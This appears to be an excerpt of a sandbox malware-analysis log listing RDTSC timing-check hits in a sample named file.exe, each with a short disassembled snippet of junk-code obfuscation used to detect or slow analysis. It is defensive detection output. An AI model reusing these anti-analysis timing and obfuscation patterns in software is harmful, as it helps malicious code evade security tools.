Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5450433 second address: 545048D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, 77A0h 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F40B53604D6h 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push edx 0x00000015 pop eax 0x00000016 pushfd 0x00000017 jmp 00007F40B53604D9h 0x0000001c add esi, 29A75806h 0x00000022 jmp 00007F40B53604D1h 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460022 second address: 5460028 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460028 second address: 546002D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546002D second address: 5460044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ah, 97h 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F40B4517B1Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460044 second address: 546004A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546004A second address: 546004E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546004E second address: 5460052 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460052 second address: 5460067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F40B4517B1Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490850 second address: 54908F3 instructions: 0x00000000 rdtsc 0x00000002 call 00007F40B53604D8h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F40B53604CBh 0x0000000f popad 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 call 00007F40B53604D4h 0x00000017 call 00007F40B53604D2h 0x0000001c pop eax 0x0000001d pop edi 0x0000001e mov ch, AFh 0x00000020 popad 0x00000021 push eax 0x00000022 pushad 0x00000023 mov ecx, ebx 0x00000025 popad 0x00000026 xchg eax, ebp 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F40B53604D7h 0x0000002e and cl, FFFFFFCEh 0x00000031 jmp 00007F40B53604D9h 0x00000036 popfd 0x00000037 mov ch, CAh 0x00000039 popad 0x0000003a mov ebp, esp 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f mov cx, E7EBh 0x00000043 mov cx, 17C7h 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54908F3 second address: 54908FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54908FB second address: 5490909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490909 second address: 549090D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549090D second address: 5490911 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490911 second address: 5490917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470269 second address: 54702B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F40B53604D6h 0x0000000f mov ebp, esp 0x00000011 jmp 00007F40B53604D0h 0x00000016 mov eax, dword ptr [ebp+08h] 0x00000019 pushad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54702B4 second address: 54702FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx eax, bx 0x00000007 popad 0x00000008 pushfd 0x00000009 jmp 00007F40B4517B1Fh 0x0000000e or al, 0000004Eh 0x00000011 jmp 00007F40B4517B29h 0x00000016 popfd 0x00000017 popad 0x00000018 and dword ptr [eax], 00000000h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F40B4517B1Dh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54702FC second address: 5470302 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470302 second address: 5470306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470306 second address: 5470318 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [eax+04h], 00000000h 0x0000000c pushad 0x0000000d movsx ebx, cx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470318 second address: 547031C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547031C second address: 5470338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F40B53604D2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54505B1 second address: 54505B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54505B7 second address: 54505BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470008 second address: 547000E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547000E second address: 5470014 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470014 second address: 5470018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470018 second address: 547001C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547001C second address: 5470038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F40B4517B21h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470038 second address: 5470048 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40B53604CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470048 second address: 5470096 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e pushad 0x0000000f jmp 00007F40B4517B24h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushfd 0x00000017 jmp 00007F40B4517B20h 0x0000001c add eax, 0493EAF8h 0x00000022 jmp 00007F40B4517B1Bh 0x00000027 popfd 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470096 second address: 54700B4 instructions: 0x00000000 rdtsc 0x00000002 mov cx, 482Fh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F40B53604D1h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54900CC second address: 54900E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54900E7 second address: 5490149 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F40B53604CFh 0x00000009 or esi, 73EA0E8Eh 0x0000000f jmp 00007F40B53604D9h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F40B53604D0h 0x0000001b or si, 7908h 0x00000020 jmp 00007F40B53604CBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 mov eax, dword ptr [76FB65FCh] 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 mov bh, 5Bh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490149 second address: 5490192 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 test eax, eax 0x00000009 pushad 0x0000000a pushad 0x0000000b mov ebx, ecx 0x0000000d mov edx, eax 0x0000000f popad 0x00000010 pushfd 0x00000011 jmp 00007F40B4517B28h 0x00000016 or ax, 6DC8h 0x0000001b jmp 00007F40B4517B1Bh 0x00000020 popfd 0x00000021 popad 0x00000022 je 00007F4125FBB2F8h 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov ecx, edx 0x0000002d mov bl, 6Dh 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490192 second address: 5490198 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490198 second address: 54901EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, eax 0x0000000a pushad 0x0000000b movsx edi, cx 0x0000000e call 00007F40B4517B26h 0x00000013 pushfd 0x00000014 jmp 00007F40B4517B22h 0x00000019 and esi, 45C13DB8h 0x0000001f jmp 00007F40B4517B1Bh 0x00000024 popfd 0x00000025 pop ecx 0x00000026 popad 0x00000027 xor eax, dword ptr [ebp+08h] 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d movsx ebx, cx 0x00000030 pushad 0x00000031 popad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54901EF second address: 54901F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54901F5 second address: 54901F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54901F9 second address: 5490221 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and ecx, 1Fh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F40B53604D9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490221 second address: 5490227 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490227 second address: 5490255 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ror eax, cl 0x0000000b pushad 0x0000000c pushad 0x0000000d mov edi, eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F40B53604D5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490255 second address: 5490275 instructions: 0x00000000 rdtsc 0x00000002 mov ah, 49h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 leave 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F40B4517B26h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549032E second address: 549035D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F40B53604CDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440014 second address: 544001A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544001A second address: 544001E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544001E second address: 544005C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F40B4517B26h 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F40B4517B20h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov dl, C2h 0x0000001d mov cx, FEB5h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544005C second address: 5440062 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440062 second address: 54400A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and esp, FFFFFFF8h 0x0000000e jmp 00007F40B4517B1Eh 0x00000013 xchg eax, ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F40B4517B27h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54400A0 second address: 54400B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40B53604D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54400B8 second address: 54400D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F40B4517B1Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54400D9 second address: 54400F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54400F6 second address: 54400FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54400FC second address: 5440100 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440100 second address: 5440148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 pushad 0x0000000a mov cx, bx 0x0000000d pushfd 0x0000000e jmp 00007F40B4517B21h 0x00000013 or ecx, 457C56F6h 0x00000019 jmp 00007F40B4517B21h 0x0000001e popfd 0x0000001f popad 0x00000020 xchg eax, ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F40B4517B1Dh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440148 second address: 544014E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544014E second address: 5440152 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440152 second address: 5440156 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440156 second address: 5440165 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440165 second address: 5440169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440169 second address: 544016F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544016F second address: 54401C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov dx, cx 0x0000000e mov cx, F589h 0x00000012 popad 0x00000013 mov ebx, dword ptr [ebp+10h] 0x00000016 jmp 00007F40B53604D4h 0x0000001b xchg eax, esi 0x0000001c jmp 00007F40B53604D0h 0x00000021 push eax 0x00000022 jmp 00007F40B53604CBh 0x00000027 xchg eax, esi 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b mov bx, DEE4h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54401C3 second address: 54401D6 instructions: 0x00000000 rdtsc 0x00000002 mov edi, 5E4C0550h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov esi, dword ptr [ebp+08h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54401D6 second address: 54401DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54401DA second address: 54401E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54401E0 second address: 5440285 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007F40B53604D6h 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F40B53604CCh 0x00000017 adc si, 8328h 0x0000001c jmp 00007F40B53604CBh 0x00000021 popfd 0x00000022 popad 0x00000023 xchg eax, edi 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F40B53604D4h 0x0000002b sbb ah, FFFFFF88h 0x0000002e jmp 00007F40B53604CBh 0x00000033 popfd 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007F40B53604D6h 0x0000003b jmp 00007F40B53604D5h 0x00000040 popfd 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440285 second address: 54402A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 test esi, esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F40B4517B26h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54402A7 second address: 54402B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54402B6 second address: 54402F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F4126005E58h 0x0000000f jmp 00007F40B4517B1Eh 0x00000014 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push edx 0x0000001f pop esi 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54402F4 second address: 5440385 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F4126E4E7E4h 0x0000000f jmp 00007F40B53604CEh 0x00000014 mov edx, dword ptr [esi+44h] 0x00000017 jmp 00007F40B53604D0h 0x0000001c or edx, dword ptr [ebp+0Ch] 0x0000001f jmp 00007F40B53604D0h 0x00000024 test edx, 61000000h 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d push edi 0x0000002e pop ecx 0x0000002f pushfd 0x00000030 jmp 00007F40B53604D9h 0x00000035 and esi, 71D8EB96h 0x0000003b jmp 00007F40B53604D1h 0x00000040 popfd 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440385 second address: 54403E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F4126005E04h 0x0000000f jmp 00007F40B4517B1Eh 0x00000014 test byte ptr [esi+48h], 00000001h 0x00000018 jmp 00007F40B4517B20h 0x0000001d jne 00007F4126005DF5h 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F40B4517B27h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54307FD second address: 5430876 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F40B53604CEh 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 mov edi, eax 0x00000016 push ecx 0x00000017 call 00007F40B53604D9h 0x0000001c pop esi 0x0000001d pop edx 0x0000001e popad 0x0000001f and esp, FFFFFFF8h 0x00000022 jmp 00007F40B53604CCh 0x00000027 xchg eax, ebx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F40B53604D7h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430876 second address: 543089E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F40B4517B27h 0x0000000f xchg eax, ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 543089E second address: 54308A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54308A2 second address: 54308A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54308A8 second address: 54308B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, di 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54308B0 second address: 54308BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54308BE second address: 54308C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54308C2 second address: 54308D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54309F8 second address: 5430A60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F4126E55E47h 0x0000000f pushad 0x00000010 push esi 0x00000011 pushfd 0x00000012 jmp 00007F40B53604D3h 0x00000017 add ah, FFFFFFAEh 0x0000001a jmp 00007F40B53604D9h 0x0000001f popfd 0x00000020 pop esi 0x00000021 push edx 0x00000022 mov esi, 5C552AD3h 0x00000027 pop eax 0x00000028 popad 0x00000029 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 mov eax, 6E0A8727h 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430A60 second address: 5430A65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430A65 second address: 5430A7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40B53604D6h 0x00000009 rdtsc
